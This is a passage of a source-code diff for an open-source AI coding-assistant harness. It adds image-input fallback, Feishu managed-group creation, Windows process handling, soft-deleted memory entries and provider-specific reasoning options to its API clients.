continue
def _extract_final_reply_media(reply: str, emitted_media: set[str]) -> list[str]:
"""Return local image paths mentioned in final text that were not already emitted."""
media: list[str] = []
seen = set(emitted_media)
for match in _FINAL_REPLY_IMAGE_PATH_RE.finditer(reply or ""):
raw = match.group("path").strip(" \t\r\n\"'.,;:,。;:、)]}")
if not raw:
continue
path = Path(raw).expanduser()
if not path.is_absolute():
continue
if not path.is_file():
continue
resolved = str(path)
if resolved in seen:
continue
seen.add(resolved)
media.append(resolved)
return media
def _format_tool_media_caption(event: ToolExecutionCompleted, media: list[str]) -> str:
"""Return a short caption for media generated by tools."""
if event.tool_name == "image_generation":
provider = ""
if isinstance(event.metadata, dict):
provider = str(event.metadata.get("provider") or "").strip()
suffix = f" via {provider}" if provider else ""
names = ", ".join(Path(path).name for path in media)
return f"已生成图片{suffix}{names}"
names = ", ".join(Path(path).name for path in media)
return f"已生成文件:{names}"
def _sanitize_group_command_prompts(messages: list[ConversationMessage]) -> list[ConversationMessage]:
"""Replace internal /group tool-driving prompts with durable user-facing history."""
return [_sanitize_group_command_prompt(message) for message in messages]
def _sanitize_group_command_prompt(message: ConversationMessage) -> ConversationMessage:
changed = False
content: list[TextBlock | ImageBlock] = []
for block in message.content:
if isinstance(block, TextBlock) and _GROUP_AGENT_PROMPT_PREFIX in block.text:
content.append(TextBlock(text=_format_group_command_history_note(block.text)))
changed = True
else:
content.append(block)
if not changed:
return message
return message.model_copy(update={"content": content})
def _format_group_command_history_note(prompt: str) -> str:
raw_request = prompt
if _GROUP_AGENT_PROMPT_REQUEST_MARKER in prompt:
raw_request = prompt.split(_GROUP_AGENT_PROMPT_REQUEST_MARKER, 1)[1].strip()
raw_request = raw_request.strip() or "(empty request)"
return f"[Handled /group request]\nThe user asked ohmo to create a Feishu group:\n{raw_request}"
def _sanitize_group_command_metadata(raw_metadata: object) -> object:
"""Remove internal /group tool-driving text from compact carry-over metadata."""
if not isinstance(raw_metadata, dict):
return raw_metadata
sanitized = dict(raw_metadata)
for key in _GROUP_METADATA_KEYS:
if key in sanitized:
sanitized[key] = _sanitize_group_command_metadata_value(sanitized[key])
return sanitized
def _sanitize_group_command_metadata_value(value: object) -> object:
if isinstance(value, str):
if _GROUP_AGENT_PROMPT_PREFIX in value:
return _format_group_command_history_note(value)
return value
if isinstance(value, dict):
return {key: _sanitize_group_command_metadata_value(item) for key, item in value.items()}
if isinstance(value, (list, tuple, set)):
return [_sanitize_group_command_metadata_value(item) for item in value]
return value
def _summarize_tool_input(tool_name: str, tool_input: dict[str, object]) -> str:
if not tool_input:
return ""
@@ -590,6 +987,10 @@ def _format_channel_progress(
return "🛠️ " + text.replace("Using ", "正在使用 ", 1)
return f"🛠️ {text}"
return text if text.startswith("🛠️ ") else f"🛠️ {text}"
if kind == "image_fallback":
if prefers_chinese:
return "🖼️ 当前模型不支持图片输入,我先改用附件路径和摘要继续。"
return "🖼️ The active model does not support image input. Ill retry with attachment paths and summaries."
if kind == "status":
normalized = text.strip()
if normalized == "Auto-compacting conversation memory to keep things fast and focused.":
@@ -667,6 +1068,60 @@ def _build_inbound_user_message(message: InboundMessage) -> ConversationMessage:
return ConversationMessage.from_user_content(content)
def _should_retry_without_image_input(error_message: str, messages: list[ConversationMessage]) -> bool:
"""Return True when a provider rejects image input and history contains images."""
if not _history_has_image_blocks(messages):
return False
normalized = error_message.lower()
image_signal = any(
phrase in normalized
for phrase in (
"image input",
"image_url",
"multimodal",
"vision",
"image content",
)
)
rejection_signal = any(
phrase in normalized
for phrase in (
"no endpoints found",
"not support",
"does not support",
"unsupported",
"cannot support",
"can't support",
)
)
return image_signal and rejection_signal
def _history_has_image_blocks(messages: list[ConversationMessage]) -> bool:
return any(any(isinstance(block, ImageBlock) for block in message.content) for message in messages)
def _strip_image_blocks_from_engine_history(engine) -> None:
messages = _strip_image_blocks_from_messages(list(engine.messages))
if hasattr(engine, "load_messages"):
engine.load_messages(messages)
else:
engine.messages = messages
def _strip_image_blocks_from_messages(messages: list[ConversationMessage]) -> list[ConversationMessage]:
return [_strip_image_blocks_from_message(message) for message in messages]
def _strip_image_blocks_from_message(message: ConversationMessage) -> ConversationMessage:
if not any(isinstance(block, ImageBlock) for block in message.content):
return message
content = [block for block in message.content if not isinstance(block, ImageBlock)]
if not any(isinstance(block, TextBlock) for block in content):
content.append(TextBlock(text=_IMAGE_FALLBACK_NOTE))
return message.model_copy(update={"content": content})
def _build_speaker_context(message: InboundMessage) -> str:
"""Return a lightweight speaker header for group-chat messages."""
metadata = message.metadata or {}
+163 -44
View File
@@ -13,6 +13,9 @@ import subprocess
import sys
from pathlib import Path
if sys.platform == "win32":
import ctypes
from openharness.channels.bus.events import OutboundMessage
from openharness.channels.bus.queue import MessageBus
from openharness.channels.impl.manager import ChannelManager
@@ -49,10 +52,13 @@ class OhmoGatewayService:
",".join(self._config.allowed_remote_admin_commands),
)
self._bus = MessageBus()
self._manager = ChannelManager(build_channel_manager_config(self._config), self._bus)
self._runtime_pool = OhmoSessionRuntimePool(
cwd=self._cwd,
workspace=self._workspace,
provider_profile=self._config.provider_profile,
create_feishu_group=self.create_group_for_user,
publish_group_welcome=self.publish_group_welcome,
)
self._stop_event: asyncio.Event | None = None
self._restart_requested = False
@@ -60,8 +66,11 @@ class OhmoGatewayService:
bus=self._bus,
runtime_pool=self._runtime_pool,
restart_gateway=self.request_restart,
workspace=root,
feishu_group_policy=str(
self._config.channel_configs.get("feishu", {}).get("group_policy", "managed_or_mention")
),
)
self._manager = ChannelManager(build_channel_manager_config(self._config), self._bus)
@property
def pid_file(self) -> Path:
@@ -75,6 +84,13 @@ class OhmoGatewayService:
def state_file(self) -> Path:
return get_state_path(self._workspace)
def _channel_last_error(self) -> str | None:
for name, channel in self._manager.channels.items():
error = getattr(channel, "last_error", None)
if error:
return f"{name}: {error}"
return None
def write_state(self, *, running: bool, last_error: str | None = None) -> None:
state = GatewayState(
running=running,
@@ -82,7 +98,7 @@ class OhmoGatewayService:
active_sessions=self._runtime_pool.active_sessions,
provider_profile=self._config.provider_profile,
enabled_channels=self._config.enabled_channels,
last_error=last_error,
last_error=last_error or self._channel_last_error(),
)
self.state_file.write_text(state.model_dump_json(indent=2) + "\n", encoding="utf-8")
@@ -105,6 +121,34 @@ class OhmoGatewayService:
if self._stop_event is not None:
self._stop_event.set()
async def create_group(self, message, name: str) -> str:
"""Create a managed group through the active channel implementation."""
if message.channel != "feishu":
raise RuntimeError(f"{message.channel} does not support managed group creation.")
return await self.create_group_for_user(str(message.sender_id), name)
async def create_group_for_user(self, user_open_id: str, name: str) -> str:
"""Create a managed Feishu group for a user open_id."""
channel = self._manager.get_channel("feishu")
if channel is None:
raise RuntimeError("Feishu channel is not enabled.")
creator = getattr(channel, "create_managed_group", None)
if creator is None:
raise RuntimeError("Feishu channel does not support managed group creation.")
result = creator(user_open_id=str(user_open_id), name=name)
return str(await result if asyncio.iscoroutine(result) else result)
async def publish_group_welcome(self, chat_id: str, content: str, owner_open_id: str) -> None:
"""Send a welcome message to a newly created managed group."""
await self._bus.publish_outbound(
OutboundMessage(
channel="feishu",
chat_id=chat_id,
content=content,
metadata={"chat_type": "group", "_session_key": f"feishu:{chat_id}:{owner_open_id}"},
)
)
def _exec_restart(self) -> None:
root = str(get_workspace_root(self._workspace))
argv = [
@@ -172,8 +216,18 @@ class OhmoGatewayService:
with contextlib.suppress(NotImplementedError):
loop.add_signal_handler(sig, _stop)
async def _state_heartbeat() -> None:
while not stop_event.is_set():
self.write_state(running=True)
await asyncio.sleep(5.0)
state_task = asyncio.create_task(_state_heartbeat(), name="ohmo-gateway-state")
try:
await stop_event.wait()
except Exception as exc:
self.write_state(running=False, last_error=str(exc))
raise
finally:
self._bridge.stop()
bridge_task.cancel()
@@ -182,6 +236,10 @@ class OhmoGatewayService:
await bridge_task
with contextlib.suppress(asyncio.CancelledError):
await manager_task
if not state_task.done():
state_task.cancel()
with contextlib.suppress(asyncio.CancelledError):
await state_task
if not restart_notice_task.done():
restart_notice_task.cancel()
with contextlib.suppress(asyncio.CancelledError):
@@ -205,7 +263,22 @@ def start_gateway_process(cwd: str | Path | None = None, workspace: str | Path |
if existing_pythonpath:
pythonpath_entries.append(existing_pythonpath)
env["PYTHONPATH"] = os.pathsep.join(pythonpath_entries)
popen_kwargs: dict = {
"cwd": service._cwd,
"stdout": None,
"stderr": None,
"env": env,
}
if sys.platform == "win32":
popen_kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS # type: ignore[attr-defined]
popen_kwargs["stdin"] = subprocess.DEVNULL
else:
popen_kwargs["start_new_session"] = True
with service.log_file.open("a", encoding="utf-8") as log_file:
popen_kwargs["stdout"] = log_file
popen_kwargs["stderr"] = log_file
process = subprocess.Popen(
[
sys.executable,
@@ -217,56 +290,93 @@ def start_gateway_process(cwd: str | Path | None = None, workspace: str | Path |
service._cwd,
"--workspace",
str(get_workspace_root(workspace)),
"--no-console-log",
],
cwd=service._cwd,
stdout=log_file,
stderr=log_file,
start_new_session=True,
env=env,
**popen_kwargs,
)
return process.pid
def _pid_is_running(pid: int) -> bool:
try:
os.kill(pid, 0)
except OSError:
return False
return True
if sys.platform == "win32":
kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
if not handle:
return False
try:
exit_code = ctypes.c_ulong()
if kernel32.GetExitCodeProcess(handle, ctypes.byref(exit_code)):
return exit_code.value == 259 # STILL_ACTIVE
return False
finally:
kernel32.CloseHandle(handle)
else:
try:
os.kill(pid, 0)
except OSError:
return False
return True
def _iter_workspace_gateway_pids(workspace: str | Path | None = None) -> list[int]:
root = str(get_workspace_root(workspace))
try:
result = subprocess.run(
["ps", "-eo", "pid=,args="],
capture_output=True,
text=True,
check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids: list[int] = []
for line in result.stdout.splitlines():
line = line.strip()
if not line:
continue
if sys.platform == "win32":
try:
pid_text, args = line.split(None, 1)
pid = int(pid_text)
except ValueError:
continue
if pid == current_pid:
continue
if "-m ohmo gateway run" not in args:
continue
if f"--workspace {root}" not in args:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
result = subprocess.run(
["wmic", "process", "where",
f"commandline like '%-m ohmo gateway run%' and commandline like '%--workspace {root}%'",
"get", "processid"],
capture_output=True, text=True, check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids: list[int] = []
for line in result.stdout.splitlines():
line = line.strip()
if not line or line.lower() == "processid":
continue
try:
pid = int(line)
except ValueError:
continue
if pid == current_pid:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
else:
try:
result = subprocess.run(
["ps", "-eo", "pid=,args="],
capture_output=True,
text=True,
check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids = []
for line in result.stdout.splitlines():
line = line.strip()
if not line:
continue
try:
pid_text, args = line.split(None, 1)
pid = int(pid_text)
except ValueError:
continue
if pid == current_pid:
continue
if "-m ohmo gateway run" not in args:
continue
if f"--workspace {root}" not in args:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
def stop_gateway_process(cwd: str | Path | None = None, workspace: str | Path | None = None) -> bool:
@@ -286,9 +396,18 @@ def stop_gateway_process(cwd: str | Path | None = None, workspace: str | Path |
if not unique_pids:
service.pid_file.unlink(missing_ok=True)
return False
for pid in unique_pids:
with contextlib.suppress(ProcessLookupError):
os.kill(pid, signal.SIGTERM)
if sys.platform == "win32":
for pid in unique_pids:
with contextlib.suppress(Exception):
subprocess.run(
["taskkill", "/F", "/T", "/PID", str(pid)],
capture_output=True,
check=False,
)
else:
for pid in unique_pids:
with contextlib.suppress(ProcessLookupError):
os.kill(pid, signal.SIGTERM)
service.pid_file.unlink(missing_ok=True)
service.write_state(running=False)
return True
+95
View File
@@ -0,0 +1,95 @@
"""Persistent metadata for ohmo-managed chat groups."""
from __future__ import annotations
from dataclasses import asdict, dataclass, field
from datetime import datetime, timezone
import json
import re
from pathlib import Path
from typing import Any
from ohmo.workspace import get_groups_dir
@dataclass(frozen=True)
class ManagedGroupRecord:
"""Metadata for a chat group created and managed by ohmo."""
channel: str
chat_id: str
owner_open_id: str
name: str
created_at: str
cwd: str | None = None
repo: str | None = None
binding_status: str = "pending_agent"
metadata: dict[str, Any] = field(default_factory=dict)
def normalize_group_name(raw: str) -> str:
"""Return a safe Feishu group name from command text."""
name = " ".join(str(raw).strip().split())
if not name:
raise ValueError("Group name is required.")
if len(name) > 100:
raise ValueError("Group name is too long; keep it within 100 characters.")
return name
def group_record_path(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
) -> Path:
safe_chat_id = re.sub(r"[^A-Za-z0-9_.-]+", "_", str(chat_id)).strip("._") or "unknown"
return get_groups_dir(workspace) / channel / f"{safe_chat_id}.json"
def save_managed_group_record(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
owner_open_id: str,
name: str,
cwd: str | None = None,
repo: str | None = None,
binding_status: str = "pending_agent",
metadata: dict[str, Any] | None = None,
) -> Path:
"""Persist metadata for an ohmo-managed group and return the path."""
record = ManagedGroupRecord(
channel=channel,
chat_id=chat_id,
owner_open_id=owner_open_id,
name=name,
created_at=datetime.now(timezone.utc).isoformat(),
cwd=normalize_cwd(cwd) if cwd else None,
repo=repo,
binding_status=binding_status,
metadata=metadata or {},
)
path = group_record_path(workspace=workspace, channel=channel, chat_id=chat_id)
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(asdict(record), ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
return path
def load_managed_group_record(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
) -> dict[str, Any] | None:
"""Load metadata for an ohmo-managed group if present."""
path = group_record_path(workspace=workspace, channel=channel, chat_id=chat_id)
if not path.exists():
return None
return json.loads(path.read_text(encoding="utf-8"))
def normalize_cwd(cwd: str | Path) -> str:
"""Normalize a cwd binding."""
return str(Path(cwd).expanduser().resolve())
+166 -16
View File
@@ -5,13 +5,37 @@ from __future__ import annotations
from pathlib import Path
from re import sub
from openharness.commands import MemoryCommandBackend
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import (
SCHEMA_VERSION,
coerce_int,
compute_memory_signature,
first_content_line,
format_datetime,
generate_memory_id,
memory_metadata_from_path,
render_memory_file,
split_memory_file,
utc_now,
)
from openharness.utils.file_lock import exclusive_file_lock
from openharness.utils.fs import atomic_write_text
from ohmo.workspace import get_memory_dir, get_memory_index_path
def list_memory_files(workspace: str | Path | None = None) -> list[Path]:
"""List ``.ohmo`` memory markdown files."""
memory_dir = get_memory_dir(workspace)
return sorted(path for path in memory_dir.glob("*.md") if path.name != "MEMORY.md")
return sorted(
header.path
for header in scan_memory_files(
_scan_cwd(workspace, memory_dir),
max_files=None,
memory_dir=memory_dir,
)
)
def add_memory_entry(workspace: str | Path | None, title: str, content: str) -> Path:
@@ -19,30 +43,113 @@ def add_memory_entry(workspace: str | Path | None, title: str, content: str) ->
memory_dir = get_memory_dir(workspace)
memory_dir.mkdir(parents=True, exist_ok=True)
slug = sub(r"[^a-zA-Z0-9]+", "_", title.strip().lower()).strip("_") or "memory"
path = memory_dir / f"{slug}.md"
path.write_text(content.strip() + "\n", encoding="utf-8")
with exclusive_file_lock(memory_dir / ".memory.lock"):
memory_type = "personal"
category = "preference"
body = content.strip() + "\n"
signature = compute_memory_signature(body, memory_type, category)
existing = scan_memory_files(
_scan_cwd(workspace, memory_dir),
max_files=None,
include_disabled=True,
include_expired=True,
memory_dir=memory_dir,
)
duplicate = next(
(header for header in existing if _effective_signature(header.path, header.signature) == signature),
None,
)
path = duplicate.path if duplicate is not None else _next_memory_path(memory_dir, slug)
now = utc_now()
now_text = format_datetime(now)
if path.exists():
metadata, old_body, _, _ = split_memory_file(path.read_text(encoding="utf-8"))
metadata = memory_metadata_from_path(
path,
metadata,
old_body,
now=now,
source=str(metadata.get("source") or "manual"),
default_type=memory_type,
default_category=category,
)
created_at = str(metadata.get("created_at") or now_text)
memory_id = str(metadata.get("id") or generate_memory_id(now))
else:
metadata = {}
created_at = now_text
memory_id = generate_memory_id(now)
metadata.update(
{
"schema_version": SCHEMA_VERSION,
"id": memory_id,
"name": title.strip(),
"description": first_content_line(body) or title.strip(),
"type": str(metadata.get("type") or memory_type),
"category": str(metadata.get("category") or category),
"importance": max(coerce_int(metadata.get("importance"), default=0), 1),
"source": "manual",
"signature": signature,
"created_at": created_at,
"updated_at": now_text,
"ttl_days": metadata.get("ttl_days"),
"disabled": False,
"supersedes": metadata.get("supersedes") or [],
}
)
atomic_write_text(path, render_memory_file(metadata, body))
index_path = get_memory_index_path(workspace)
existing = index_path.read_text(encoding="utf-8") if index_path.exists() else "# Memory Index\n"
if path.name not in existing:
existing = existing.rstrip() + f"\n- [{title}]({path.name})\n"
index_path.write_text(existing, encoding="utf-8")
index_path = get_memory_index_path(workspace)
existing_index = index_path.read_text(encoding="utf-8") if index_path.exists() else "# Memory Index\n"
if path.name not in existing_index:
existing_index = existing_index.rstrip() + f"\n- [{title}]({path.name})\n"
atomic_write_text(index_path, existing_index)
return path
def remove_memory_entry(workspace: str | Path | None, name: str) -> bool:
"""Delete a memory file and remove its index entry."""
"""Soft-delete a memory file and remove its index entry."""
memory_dir = get_memory_dir(workspace)
matches = [path for path in memory_dir.glob("*.md") if path.stem == name or path.name == name]
matches = [
header
for header in scan_memory_files(
_scan_cwd(workspace, memory_dir),
max_files=None,
include_disabled=True,
include_expired=True,
memory_dir=memory_dir,
)
if name in {header.path.stem, header.path.name, header.title, header.id}
]
if not matches:
return False
path = matches[0]
path.unlink(missing_ok=True)
header = matches[0]
if header.disabled:
return False
path = header.path
with exclusive_file_lock(memory_dir / ".memory.lock"):
content = path.read_text(encoding="utf-8")
metadata, body, _, _ = split_memory_file(content)
metadata = memory_metadata_from_path(
path,
metadata,
body,
source="manual",
default_type="personal",
default_category="preference",
)
metadata["disabled"] = True
metadata["updated_at"] = format_datetime(utc_now())
atomic_write_text(path, render_memory_file(metadata, body))
index_path = get_memory_index_path(workspace)
if index_path.exists():
lines = [line for line in index_path.read_text(encoding="utf-8").splitlines() if path.name not in line]
index_path.write_text("\n".join(lines).rstrip() + "\n", encoding="utf-8")
index_path = get_memory_index_path(workspace)
if index_path.exists():
lines = [
line
for line in index_path.read_text(encoding="utf-8").splitlines()
if path.name not in line
]
atomic_write_text(index_path, "\n".join(lines).rstrip() + "\n")
return True
@@ -67,3 +174,46 @@ def load_memory_prompt(workspace: str | Path | None = None, *, max_files: int =
lines.extend(["", f"## {path.name}", "```md", content[:4000], "```"])
return "\n".join(lines)
def create_memory_command_backend(workspace: str | Path | None = None) -> MemoryCommandBackend:
"""Return a ``/memory`` backend bound to ohmo's personal memory store."""
return MemoryCommandBackend(
label="ohmo personal memory",
default_type="personal",
default_category="preference",
get_memory_dir=lambda: get_memory_dir(workspace),
get_entrypoint=lambda: get_memory_index_path(workspace),
list_files=lambda: list_memory_files(workspace),
add_entry=lambda title, content: add_memory_entry(workspace, title, content),
remove_entry=lambda name: remove_memory_entry(workspace, name),
)
def _scan_cwd(workspace: str | Path | None, memory_dir: Path) -> Path:
return Path(workspace) if workspace is not None else memory_dir.parent
def _next_memory_path(memory_dir: Path, slug: str) -> Path:
path = memory_dir / f"{slug}.md"
if not path.exists():
return path
index = 2
while True:
candidate = memory_dir / f"{slug}_{index}.md"
if not candidate.exists():
return candidate
index += 1
def _effective_signature(path: Path, existing_signature: str) -> str:
if existing_signature:
return existing_signature
try:
metadata, body, _, _ = split_memory_file(path.read_text(encoding="utf-8"))
except OSError:
return ""
memory_type = str(metadata.get("type") or "personal")
category = str(metadata.get("category") or "preference")
return compute_memory_signature(body, memory_type, category)
+23 -2
View File
@@ -14,9 +14,10 @@ from openharness.ui.backend_host import run_backend_host
from openharness.ui.runtime import build_runtime, close_runtime, handle_line, start_runtime
from openharness.ui.react_launcher import _resolve_npm, _resolve_tsx, get_frontend_dir
from ohmo.memory import create_memory_command_backend
from ohmo.prompts import build_ohmo_system_prompt
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import get_plugins_dir, get_skills_dir, initialize_workspace
from ohmo.workspace import get_memory_dir, get_plugins_dir, get_sessions_dir, get_skills_dir, initialize_workspace
def _ohmo_extra_roots(workspace: str | Path | None) -> tuple[tuple[str, ...], tuple[str, ...]]:
@@ -54,6 +55,14 @@ async def run_ohmo_backend(
session_backend=OhmoSessionBackend(workspace_root),
extra_skill_dirs=extra_skill_dirs,
extra_plugin_roots=extra_plugin_roots,
memory_backend=create_memory_command_backend(workspace_root),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(workspace_root)),
"session_dir": str(get_sessions_dir(workspace_root)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
@@ -160,13 +169,24 @@ async def run_ohmo_print_mode(
enforce_max_turns=max_turns is not None,
extra_skill_dirs=extra_skill_dirs,
extra_plugin_roots=extra_plugin_roots,
memory_backend=create_memory_command_backend(workspace_root),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(workspace_root)),
"session_dir": str(get_sessions_dir(workspace_root)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
await start_runtime(bundle)
async def _print_system(message: str) -> None:
print(message, file=sys.stderr)
saw_error = False
async def _render_event(event) -> None:
nonlocal saw_error
if isinstance(event, AssistantTextDelta):
sys.stdout.write(event.text)
sys.stdout.flush()
@@ -174,6 +194,7 @@ async def run_ohmo_print_mode(
sys.stdout.write("\n")
sys.stdout.flush()
elif isinstance(event, ErrorEvent):
saw_error = True
print(event.message, file=sys.stderr)
elif isinstance(event, CompactProgressEvent):
if event.message:
@@ -192,6 +213,6 @@ async def run_ohmo_print_mode(
clear_output=_clear_output,
)
await close_runtime(bundle)
return 0
return 1 if saw_error else 0
finally:
os.chdir(previous_cwd)
+6
View File
@@ -203,6 +203,10 @@ def get_plugins_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "plugins"
def get_groups_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "groups"
def get_memory_index_path(workspace: str | Path | None = None) -> Path:
return get_memory_dir(workspace) / "MEMORY.md"
@@ -238,6 +242,7 @@ def ensure_workspace(workspace: str | Path | None = None) -> Path:
get_memory_dir(root).mkdir(parents=True, exist_ok=True)
get_skills_dir(root).mkdir(parents=True, exist_ok=True)
get_plugins_dir(root).mkdir(parents=True, exist_ok=True)
get_groups_dir(root).mkdir(parents=True, exist_ok=True)
get_sessions_dir(root).mkdir(parents=True, exist_ok=True)
get_logs_dir(root).mkdir(parents=True, exist_ok=True)
get_attachments_dir(root).mkdir(parents=True, exist_ok=True)
@@ -307,6 +312,7 @@ def workspace_health(workspace: str | Path | None = None) -> dict[str, bool]:
"memory_dir": get_memory_dir(root).exists(),
"skills_dir": get_skills_dir(root).exists(),
"plugins_dir": get_plugins_dir(root).exists(),
"groups_dir": get_groups_dir(root).exists(),
"memory_index": get_memory_index_path(root).exists(),
"sessions_dir": get_sessions_dir(root).exists(),
"gateway_config": get_gateway_config_path(root).exists(),
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "openharness-ai"
version = "0.1.7"
version = "0.1.9"
description = "Open-source Python port of Claude Code - an AI-powered CLI coding assistant"
readme = "README.md"
license = "MIT"
+14
View File
@@ -0,0 +1,14 @@
"""Run the OpenHarness memory schema migration from a source checkout."""
from __future__ import annotations
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "src"))
from openharness.memory.migrate import main
if __name__ == "__main__":
raise SystemExit(main())
+5
View File
@@ -45,6 +45,7 @@ class ApiMessageRequest:
system_prompt: str | None = None
max_tokens: int = 4096
tools: list[dict[str, Any]] = field(default_factory=list)
effort: str | None = None
@dataclass(frozen=True)
@@ -149,6 +150,10 @@ class AnthropicApiClient:
kwargs["base_url"] = self._base_url
return AsyncAnthropic(**kwargs)
async def close(self) -> None:
"""Close the underlying HTTP client."""
await self._client.close()
def _refresh_client_auth(self) -> None:
if not self._claude_oauth or self._auth_token_resolver is None:
return
+23 -7
View File
@@ -78,6 +78,17 @@ def _convert_messages_to_codex(messages: list[ConversationMessage]) -> list[dict
result: list[dict[str, Any]] = []
for msg in messages:
if msg.role == "user":
# Responses API requires function_call_output items to appear before
# any following user input. A ConversationMessage can contain both
# tool results and user text, so emit the tool outputs first to keep
# every prior function_call immediately satisfied.
for block in msg.content:
if isinstance(block, ToolResultBlock):
result.append({
"type": "function_call_output",
"call_id": block.tool_use_id,
"output": block.content,
})
user_content: list[dict[str, Any]] = []
for block in msg.content:
if isinstance(block, TextBlock) and block.text.strip():
@@ -89,13 +100,6 @@ def _convert_messages_to_codex(messages: list[ConversationMessage]) -> list[dict
})
if user_content:
result.append({"role": "user", "content": user_content})
for block in msg.content:
if isinstance(block, ToolResultBlock):
result.append({
"type": "function_call_output",
"call_id": block.tool_use_id,
"output": block.content,
})
continue
assistant_text = "".join(block.text for block in msg.content if isinstance(block, TextBlock))
@@ -129,6 +133,15 @@ def _convert_tools_to_codex(tools: list[dict[str, Any]]) -> list[dict[str, Any]]
]
def _normalize_reasoning_effort(effort: str | None) -> str | None:
normalized = (effort or "").strip().lower()
if normalized == "max":
return "xhigh"
if normalized in {"low", "medium", "high", "xhigh"}:
return normalized
return None
def _usage_from_response(response: dict[str, Any]) -> UsageSnapshot:
usage = response.get("usage")
if not isinstance(usage, dict):
@@ -251,6 +264,9 @@ class CodexApiClient:
}
if request.tools:
body["tools"] = _convert_tools_to_codex(request.tools)
effort = _normalize_reasoning_effort(request.effort)
if effort:
body["reasoning"] = {"effort": effort}
content: list[TextBlock | ToolUseBlock] = []
current_text_parts: list[str] = []
+4
View File
@@ -128,3 +128,7 @@ class CopilotClient:
)
async for event in self._inner.stream_message(patched):
yield event
async def close(self) -> None:
"""Close the underlying OpenAI-compatible client."""
await self._inner.close()
+86 -10
View File
@@ -5,6 +5,8 @@ from __future__ import annotations
import asyncio
import json
import logging
import os
import re
from typing import Any, AsyncIterator
from urllib.parse import urlsplit, urlunsplit
@@ -144,13 +146,43 @@ def _convert_user_content_to_openai(blocks: list[ContentBlock]) -> str | list[di
return content
_EMPTY_REASONING_ENV = "OPENHARNESS_REQUIRE_EMPTY_REASONING_CONTENT"
def _empty_reasoning_required() -> bool:
"""True when the operator's provider requires an empty
``reasoning_content`` field on tool-using assistant messages
(Kimi-on-Anthropic style). Default off — strict-OpenAI providers
reject the field outright.
"""
raw = os.environ.get(_EMPTY_REASONING_ENV, "").strip().lower()
return raw in {"1", "true", "yes", "on"}
def _convert_assistant_message(msg: ConversationMessage) -> dict[str, Any]:
"""Convert an assistant ConversationMessage to OpenAI format.
Providers with thinking models (e.g. Kimi k2.5) require a
``reasoning_content`` field on every assistant message that contains
tool calls. We stash the raw reasoning text on ``msg._reasoning``
during parsing and replay it here.
``reasoning_content`` is a non-standard field used by thinking models
(e.g. Kimi k2.5) to carry the model's internal chain-of-thought across
turns. Some thinking-model providers require it on every assistant
message with tool calls — even when empty — or they reject the request.
Other OpenAI-compatible providers (Cerebras, OpenAI's own
endpoint, etc.) reject the field outright with a 400
``wrong_api_format`` error.
Behaviour:
- When the streaming parser captured non-empty reasoning on
``msg._reasoning``, we always replay it. Models that emit reasoning
tokens are by definition thinking models that round-trip them.
- When there is no captured reasoning but the message has tool calls,
we emit ``reasoning_content: ""`` only if the operator opts in via
``OPENHARNESS_REQUIRE_EMPTY_REASONING_CONTENT=1``. The default is
omit, which matches strict-OpenAI providers.
The opt-in default keeps strict-OpenAI providers (Cerebras, NVIDIA NIM,
OpenAI direct, etc.) working out-of-the-box; Kimi-on-Anthropic users
set the env var in their dotfiles or settings.
"""
text_parts = [b.text for b in msg.content if isinstance(b, TextBlock)]
tool_uses = [b for b in msg.content if isinstance(b, ToolUseBlock)]
@@ -164,8 +196,9 @@ def _convert_assistant_message(msg: ConversationMessage) -> dict[str, Any]:
reasoning = getattr(msg, "_reasoning", None)
if reasoning:
openai_msg["reasoning_content"] = reasoning
elif tool_uses:
# Thinking models require this field even if empty
elif tool_uses and _empty_reasoning_required():
# Kimi-style providers reject tool_use messages without this field
# even when there's nothing to put in it. Opt-in via env var.
openai_msg["reasoning_content"] = ""
if tool_uses:
@@ -232,7 +265,10 @@ class OpenAICompatibleClient:
"""
def __init__(self, api_key: str, *, base_url: str | None = None, timeout: float | None = None) -> None:
kwargs: dict[str, Any] = {"api_key": api_key}
kwargs: dict[str, Any] = {
"api_key": api_key,
"default_headers": {"Authorization": f"Bearer {api_key}"},
}
normalized_base_url = _normalize_openai_base_url(base_url)
if normalized_base_url:
kwargs["base_url"] = normalized_base_url
@@ -240,6 +276,10 @@ class OpenAICompatibleClient:
kwargs["timeout"] = timeout
self._client = AsyncOpenAI(**kwargs)
async def close(self) -> None:
"""Close the underlying HTTP client."""
await self._client.close()
async def stream_message(self, request: ApiMessageRequest) -> AsyncIterator[ApiStreamEvent]:
"""Yield text deltas and the final message, matching the Anthropic client interface."""
last_error: Exception | None = None
@@ -298,6 +338,8 @@ class OpenAICompatibleClient:
collected_tool_calls: dict[int, dict[str, Any]] = {}
finish_reason: str | None = None
usage_data: dict[str, int] = {}
# Buffer to strip inline <think>…</think> blocks across streaming chunks.
_think_buf = ""
stream = await self._client.chat.completions.create(**params)
async for chunk in stream:
@@ -321,10 +363,13 @@ class OpenAICompatibleClient:
if reasoning_piece:
collected_reasoning += reasoning_piece
# Stream text content to user
# Stream text content to user, stripping inline <think> blocks
if delta.content:
collected_content += delta.content
